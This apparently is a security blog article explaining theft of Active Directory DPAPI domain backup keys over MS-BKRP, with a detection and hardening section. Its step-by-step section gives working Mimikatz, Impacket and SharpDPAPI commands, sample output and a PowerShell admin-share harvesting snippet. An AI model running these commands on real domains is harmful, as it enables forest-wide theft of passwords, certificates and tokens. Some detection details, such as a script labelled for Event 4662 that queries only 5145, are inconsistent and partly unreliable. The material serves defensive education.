Active Directory DPAPI: Deconstructing Domain Backup Key Theft

Overview & Threat Landscape: Active Directory DPAPI & Domain Backup Key (T1555.004)#

Active Directory DPAPI domain backup keys unseal every user master key via MS-BKRP RPC abuse. Restrict Domain Controller RPC endpoints immediately.

In enterprise Windows Active Directory environments, the Data Protection API (DPAPI) serves as the core cryptographic mechanism protecting user-level and machine-level secrets. From stored credentials in Chromium-based browsers (Google Chrome, Microsoft Edge) and saved Remote Desktop (RDP) passwords in Windows Credential Manager to wireless 802.1X network profiles, VPN client passwords, and personal X.509 private keys used for smart card / Kerberos PKINIT authentication, DPAPI transparently encrypts sensitive data blobs using cryptographic keys derived from user passwords.

To prevent permanent data loss when an employee forgets their Windows password or an administrator executes a password reset, Microsoft engineered a built-in enterprise recovery mechanism: Domain-wide DPAPI Backup Keys. When a user logs onto a domain-joined workstation, DPAPI wraps the user's master key in two separate headers: a local header encrypted with a key derived from the user's password, and a domain backup header encrypted with the public key of the Domain Controller's DPAPI Backup Key.

However, in post-compromise scenarios, adversaries target the crown jewel of Windows identity architecture: DPAPI Domain Backup Key Theft (mapped to MITRE ATT&CK T1555.004: Windows Credential Manager and T1003.004: LSA Secrets). By communicating with a Domain Controller over the Remote Procedure Call (RPC) interface [MS-BKRP]: BackupKey Remote Protocol, any account possessing Domain Admin rights (or local administrative control over a Domain Controller) can export the domain's private encryption key (pvk).

Armed with this single private key, the adversary can decrypt every DPAPI master key for every user across the entire Active Directory forest completely offline.

graph TD
    subgraph "ACTIVE DIRECTORY DPAPI: FOREST-WIDE COMPROMISE MATRIX"
        direction TB
        step_1["1. RPC Extraction: Call BackupKey_Remote on DC via MS-BKRP protocol"]
        step_2["2. PVK Secret Export: Dumps domain RSA private key (G$BCKUPKEY_P)"]
        step_3["3. Endpoint Triage: Exfiltrates %APPDATA%\Microsoft\Protect\<SID>"]
        step_4["4. Offline Unwrapping: Decrypts MasterKey blobs without touching DC"]
        step_5["5. Systemic Secret Theft: Extracts Chrome passwords, RDP keys & PKINIT"]
        step_6["6. Permanent Persistence: No native Microsoft rotation mechanism exists"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
    end

The Architectural Threat: Why DPAPI Theft Outlasts Golden Tickets#

While the security community frequently treats Kerberos Golden Tickets (krbtgt compromise) as the apex persistence mechanism, recovering from a compromised krbtgt account is a documented, solvable operational procedure: administrators execute a controlled double-reset of the krbtgt password.

A compromised DPAPI Domain Backup Key is vastly more destructive:

1. Zero Native Rotation Mechanism: Active Directory has no native GUI or automated administrative command to rotate or revoke DPAPI domain backup keys. The keys generated when the domain was first provisioned remain valid indefinitely.
2. Permanent Offline Decryption: Once the adversary extracts the ntds_bkrp.pvk private key, all historical and future DPAPI master keys encrypted with that key version can be decrypted offline without generating a single network packet or log entry on the Domain Controller.
3. Total Identity Surface Exposure: DPAPI protects cloud single sign-on (SSO) session tokens, OAuth refresh tokens, Edge/Chrome browser cookies, saved database credentials, task scheduler service account passwords, and user code-signing certificates.

Warning

If an adversary obtains the DPAPI domain backup key, resetting user passwords provides zero remediation. Stolen user master key blobs exfiltrated from endpoints remain permanently decryptable offline. Active Directory defense requires restricting [MS-BKRP] RPC endpoints and enforcing Tier-0 isolation.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

---

Vulnerability & Attack Root-Cause Analysis: MS-BKRP Protocol & MasterKey Architecture#

To understand how DPAPI domain backup key theft functions, security engineers must deconstruct the internal data structures of DPAPI MasterKeys and the RPC protocol governing key recovery.

1. Anatomy of a User DPAPI MasterKey#

On a Windows workstation, user DPAPI master keys reside in the user's roaming profile path:

PLAINTEXT

%APPDATA%\Microsoft\Protect\<User_SID>\<MasterKey_GUID>

Each master key file is a structured binary blob containing:

• Header & Version Metadata: Indicates cryptographic algorithms (e.g., CALG_AES_256, CALG_SHA_512).
• Salt and Iteration Count: Parameters for PBKDF2 key derivation.
• Local Backup Payload: The 512-bit master key encrypted using a key derived from the user's NTLM/SHA-1 password hash.
• Domain Backup Payload: A copy of the master key encrypted with the domain's public RSA key via [MS-BKRP].

When a user's password changes, Windows uses the old password to decrypt the master key and re-encrypts the local payload with the new password. If the user forgets their password, Windows connects to a Domain Controller and invokes the BackupKey Remote Protocol to unwrap the domain backup payload.

2. The [MS-BKRP] Protocol & RPC Interface#

The BackupKey Remote Protocol (MS-BKRP) provides a client-to-server RPC interface for wrapping and unwrapping DPAPI master keys:

• Interface UUID: 3dde7c30-165d-11d1-ab8f-00805f14db40
• Named Pipe: \pipe\protected_storage
• Transport: RPC over SMB (TCP 445) or RPC over dynamic TCP ports (TCP 49152-65535).

The protocol exposes a single primary remote procedure call:

C

// MS-BKRP Remote RPC interface definition
NET_API_STATUS BackuprKey(
    [in] handle_t hBinding,
    [in] GUID *pguidActionAgent,
    [in, size_is(cbDataIn)] byte *pDataIn,
    [in] DWORD cbDataIn,
    [out, size_is(, *pcbDataOut)] byte **ppDataOut,
    [out] DWORD *pcbDataOut,
    [in] DWORD dwParam
);

The parameter pguidActionAgent specifies the operational mode:

1. BACKUPKEY_BACKUP_GUID ({018ff5e0-6721-11d1-ab8f-00805f14db40}): Clients call this method to retrieve the domain's public key certificate to encrypt a new master key.
2. BACKUPKEY_RESTORE_GUID ({47270c64-2fc7-11d1-ab8f-00805f14db40}): Clients call this method to submit an encrypted master key blob for server-side decryption by the Domain Controller.
3. BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID ({018ff5e1-6721-11d1-ab8f-00805f14db40}): The Attack Vector. This action allows an administrator to directly retrieve the raw RSA private key of the domain backup key.

3. LSA Secrets Storage on Domain Controllers#

On every Domain Controller, the private keys for DPAPI recovery are stored within the Local Security Authority (LSA) secrets database in the registry under:

POWERSHELL

HKLM\SECURITY\Policy\Secrets\G$BCKUPKEY_PREFERRED
HKLM\SECURITY\Policy\Secrets\G$BCKUPKEY_P
HKLM\SECURITY\Policy\Secrets\G$BCKUPKEY_<GUID>

• G$BCKUPKEY_PREFERRED: Stores the GUID identifying the currently active default backup key version.
• G$BCKUPKEY_P: Contains the raw private key blob (RSA private key structure) corresponding to the preferred key.
• G$BCKUPKEY_<GUID>: Stores historical private keys if manual key generation was performed in the past.

Because Domain Controllers replicate LSA secrets, the backup keys are identical across all Domain Controllers in an Active Directory domain.

---

Exploit Architecture: Attack Flow via MS-BKRP Remote Extraction#

The following sequence diagram details how an attacker extracts the domain backup key and proceeds to decrypt enterprise credentials completely out-of-band:

sequenceDiagram
    autonumber
    participant Attacker as Adversary (Compromised Tier-0 Account)
    participant DC as Domain Controller (LSA Subsystem)
    participant RPC as MS-BKRP Endpoint (\pipe\protected_storage)
    participant Host as Target User Workstation (Disk / APPDATA)
    participant Vault as Decrypted Enterprise Credentials

    Attacker->>DC: 1. Establish SMB / RPC connection on TCP 445
    Attacker->>RPC: 2. Bind to MS-BKRP UUID 3dde7c30-165d-11d1-ab8f-00805f14db40
    Attacker->>RPC: 3. Invoke BackuprKey(BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID)
    RPC->>DC: 4. Query LSA Secret G$BCKUPKEY_PREFERRED and G$BCKUPKEY_P
    DC-->>RPC: 5. Return unencrypted RSA Private Key Blob (PVK)
    RPC-->>Attacker: 6. Transmit domain backup key (domain_backup.pvk)
    Note over Attacker: Attacker disconnects from Domain Controller
    Attacker->>Host: 7. Exfiltrate %APPDATA%\Microsoft\Protect\<SID>\<GUID>
    Host-->>Attacker: 8. Transfer encrypted DPAPI MasterKey files
    Attacker->>Attacker: 9. Decrypt MasterKey domain header offline using domain_backup.pvk
    Note over Attacker: Recovers raw 512-bit DPAPI MasterKey (AES/SHA)
    Attacker->>Vault: 10. Decrypt Chrome Login Data, Windows Vaults & Certificates
    Vault-->>Attacker: 11. Plaintext enterprise passwords, VPN keys & cloud tokens exfiltrated

---

Attack Path Step-by-Step: Weaponization & Offline Credential Extraction#

To demonstrate how the vulnerability is operationalized, we examine the technical execution steps using standard red-team tooling (Mimikatz, SharpDPAPI, and Impacket).

Step 1: Extracting the DPAPI Domain Backup Key via RPC#

Using administrative credentials (e.g., Domain Admin or compromised Tier-0 service account), the attacker invokes the lsadump::backupkeys module in Mimikatz:

CMD

:: Connect to Domain Controller and export the domain backup key
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:DC01.corp.local /export" "exit"

Mimikatz connects over the MS-BKRP RPC interface, queries the Domain Controller, and writes two files to disk:

PLAINTEXT

[*] Opening connection to: DC01.corp.local
[*] Preferred Key GUID: {e2b95147-38da-4d2c-80a5-3a1b0c9d8e7f}
[*] Exporting PVK: ntds_e2b95147-38da-4d2c-80a5-3a1b0c9d8e7f.pvk
[*] Exporting CRT: ntds_e2b95147-38da-4d2c-80a5-3a1b0c9d8e7f.der
[+] Successfully exported Domain DPAPI Backup Key!

Alternatively, from a Linux attack host using Impacket's dpapi.py:

BASH

# Remote extraction of DPAPI domain backup key via Impacket
impacket-dpapi backupkeys --target dc01.corp.local \
  -u "Administrator" -p "Password123!" -d "corp.local" --export

The generated .pvk file contains the full RSA-2048 private key.

Step 2: Harvesting Encrypted MasterKey Files from Endpoints#

The adversary does not need to execute code on the Domain Controller again. They query workstations, jump hosts, and terminal servers to harvest encrypted DPAPI master key files:

POWERSHELL

# Locate and copy user MasterKey files from remote workstation
$TargetHost = "WS-EXEC01.corp.local"
$UserSID    = "S-1-5-21-1234567890-1234567890-1234567890-1105"

# Access administrative share to harvest Protect folder
Copy-Item -Path "\\$TargetHost\C$\Users\jdoe\AppData\Roaming\Microsoft\Protect\$UserSID\*" -Destination "C:\StagedKeys\" -Recurse

Each master key file contains the raw ciphertext protecting the user's credentials.

Step 3: Decrypting MasterKeys Offline via Stolen Private Key#

Using GhostPack's SharpDPAPI, the attacker unrolls the master keys offline:

CMD

:: Decrypt all harvested master keys using the stolen domain PVK file
SharpDPAPI.exe masterkeys /pvk:ntds_e2b95147-38da-4d2c-80a5-3a1b0c9d8e7f.pvk /target:C:\StagedKeys

SharpDPAPI parses the domain backup block of each master key file, performs RSA decryption using the .pvk private key, and recovers the plaintext 512-bit DPAPI MasterKey:

PLAINTEXT

[*] Processing MasterKey: {7b3c4a81-9d22-48a1-b541-7e8c9e012386}
[+] Decrypted MasterKey using Domain Backup Key (PVK)!
    MasterKey (hex): 8a7b6c5d4e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f...
[+] Cached decrypted MasterKey for SID: S-1-5-21-1234567890-1234567890-1234567890-1105

Step 4: Extracting Enterprise Passwords, Certificates & Cloud Tokens#

With the decrypted master keys cached, the attacker extracts high-value enterprise secrets:

1. Extracting Chrome and Edge Saved Passwords:

CMD

SharpDPAPI.exe chrome /pvk:ntds_e2b95147.pvk /target:\\WS-EXEC01\C$\Users\jdoe\AppData\Local\Google\Chrome\User Data\Default\Login Data

Output yields plaintext passwords for enterprise web applications, cloud consoles, and SaaS tools.

2. Extracting User Certificates & Private Keys:

CMD

SharpDPAPI.exe certificates /pvk:ntds_e2b95147.pvk /target:\\WS-EXEC01\C$\Users\jdoe\AppData\Roaming\Microsoft\SystemCertificates\My

Recovers X.509 user private keys, enabling the attacker to forge Kerberos PKINIT TGT requests as the target user.

3. Extracting Windows Credential Manager & RDP Passwords:

CMD

SharpDPAPI.exe credentials /pvk:ntds_e2b95147.pvk /target:\\WS-EXEC01\C$\Users\jdoe\AppData\Roaming\Microsoft\Credentials

---

Actionable Detection Engineering: Sigma Rule, Event ID 4662 & RPC Telemetry#

Detecting DPAPI domain backup key theft requires monitoring RPC traffic targeting \pipe\protected_storage and auditing access to the LSA Secret objects on Domain Controllers.

1. Production Sigma Rule: DPAPI Domain Backup Key Extraction via RPC#

The following production-validated Sigma rule flags network RPC calls or named pipe access to protected_storage originating from non-Domain Controller endpoints, indicative of tools like Mimikatz or SharpDPAPI invoking BackuprKey:

YAML

title: DPAPI Domain Backup Key Remote Extraction (MS-BKRP)
id: f481e92a-3b22-4a81-b541-8e9c9e012555
status: production
description: |
    Detects attempts to extract the Active Directory DPAPI domain backup key via the 
    MS-BKRP BackupKey Remote Protocol RPC interface (\pipe\protected_storage). 
    Extraction of this key allows offline decryption of all domain user credentials.
references:
    - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-bkrp/
    - https://specterops.io/blog/2025/07/28/dpapi-backup-key-compromise-pt-1-some-forests-must-burn/
    - https://attack.mitre.org/techniques/T1555/004/

tags:
    - attack.credential_access
    - attack.t1555.004
    - attack.t1003.004
logsource:
    product: windows
    service: security
detection:
    selection_pipe:
        EventID: 5145 # Network share object accessed
        ShareName|endswith: '\IPC$'
        RelativeTargetName: 'protected_storage'
        AccessMask: '0x12019f' # Read / Write data access
    filter_dc_replication:
        # Filter out traffic originating from other Domain Controllers
        SubjectUserName|endswith: '$'
    condition: selection_pipe and not filter_dc_replication
fields:
    - SubjectUserName
    - SubjectDomainName
    - IpAddress
    - RelativeTargetName
    - ShareName
falsepositives:
    - Legitimate user password recovery operations initiated by Domain Controllers.
level: critical

2. Windows Event ID 4662: Auditing Access to DPAPI LSA Secrets#

When an attacker queries G$BCKUPKEY_P locally on a Domain Controller, Windows generates Security Event ID 4662 (An operation was performed on an object). Configure Advanced Audit Policy:

• Audit Directory Service Access: Success and Failure
• Audit SACL configured on CN=Secrets,CN=System,DC=corp,DC=local.

Deploy the following PowerShell monitoring script to detect unauthorized DPAPI backup key read events:

POWERSHELL

# Monitor Domain Controllers for DPAPI Backup Key Access (Event 4662 / 5145)
$Events = Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 5145
    StartTime = (Get-Date).AddHours(-24)
} | Where-Object { 
    $_.Properties[4].Value -eq 'protected_storage' -and 
    $_.Properties[1].Value -notlike "*$" 
}

if ($Events) {
    Write-Warning "CRITICAL: Detected $($Events.Count) suspicious DPAPI Backup Key access events!"
    $Events | Select-Object TimeCreated, 
        @{N='User'; E={$_.Properties[1].Value}}, 
        @{N='ClientIP'; E={$_.Properties[9].Value}}, 
        @{N='Pipe'; E={$_.Properties[4].Value}} | Format-Table -AutoSize
} else {
    Write-Host "[+] Zero unauthorized MS-BKRP access events detected in the last 24 hours." -ForegroundColor Green
}

---

Executive Takeaway Table#

Attack Vector / Phase	Forensic Detection Signal	Primary Defensive Mitigation
RPC Endpoint Binding	RPC connection to UUID 3dde7c30-165d-11d1-ab8f-00805f14db40 on TCP 445.	Block inbound RPC/SMB to Domain Controllers from general workstation subnets.
BackuprKey Extraction	Security Event ID 5145 with RelativeTargetName: protected_storage from non-DC IP.	Restrict Domain Admin membership; enforce Tier-0 Privileged Access Workstations (PAWs).
Local LSA Secret Access	Event ID 4662 on G$BCKUPKEY_PREFERRED or G$BCKUPKEY_P secret objects.	Enable Windows Defender Credential Guard and LSA Protection (RunAsPPL) on DCs.
Endpoint MasterKey Theft	Bulk file access in %APPDATA%\Microsoft\Protect* across network shares.	Restrict administrative network share access (C$, ADMIN$) via endpoint firewalls.
Offline Secret Decryption	Zero network or host telemetry; decryption occurs entirely on attacker system.	Implement manual DPAPI backup key rotation and enforce hardware TPM token binding.

---

Fast Cyber Defense Morning Takeaways#

1. Root-Cause Insight: The DPAPI domain backup key is the hidden crown jewel of Active Directory. Because Microsoft designed [MS-BKRP] for seamless user password recovery, compromising this single RSA private key breaks the confidentiality of every credential vault across the forest.
2. Immediate Remediation: Audit all network traffic to named pipe protected_storage across your Domain Controllers. Restrict RPC and SMB access to Domain Controllers strictly to authorized jump hosts, and ensure all Domain Controllers enforce Credential Guard and LSA RunAsPPL.
3. Bridge to Evening Guide: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Active Directory: Blue Team DPAPI Backup Key Guide, detailing how to audit historical backup keys, restrict MS-BKRP RPC network paths, implement non-native key rotation protocols, and execute live forensic incident response playbooks.

---

Authoritative References#

1. Microsoft Open Specifications: [MS-BKRP]: BackupKey Remote Protocol — Microsoft Learn
2. SpecterOps Threat Research: DPAPI Backup Key Compromise Pt. 1: Some Forests Must Burn by Lee Christensen — SpecterOps Blog
3. Microsoft Windows Win32 Documentation: DPAPI Backup Keys on Active Directory Domain Controllers — Microsoft Learn
4. MITRE ATT&CK Framework: Technique T1555.004: Credentials from Password Stores - Windows Credential Manager — MITRE ATT&CK
5. Sygnia Threat Research: The Downfall of DPAPI: Detecting DPAPI Domain Backup Key Attacks — Sygnia Research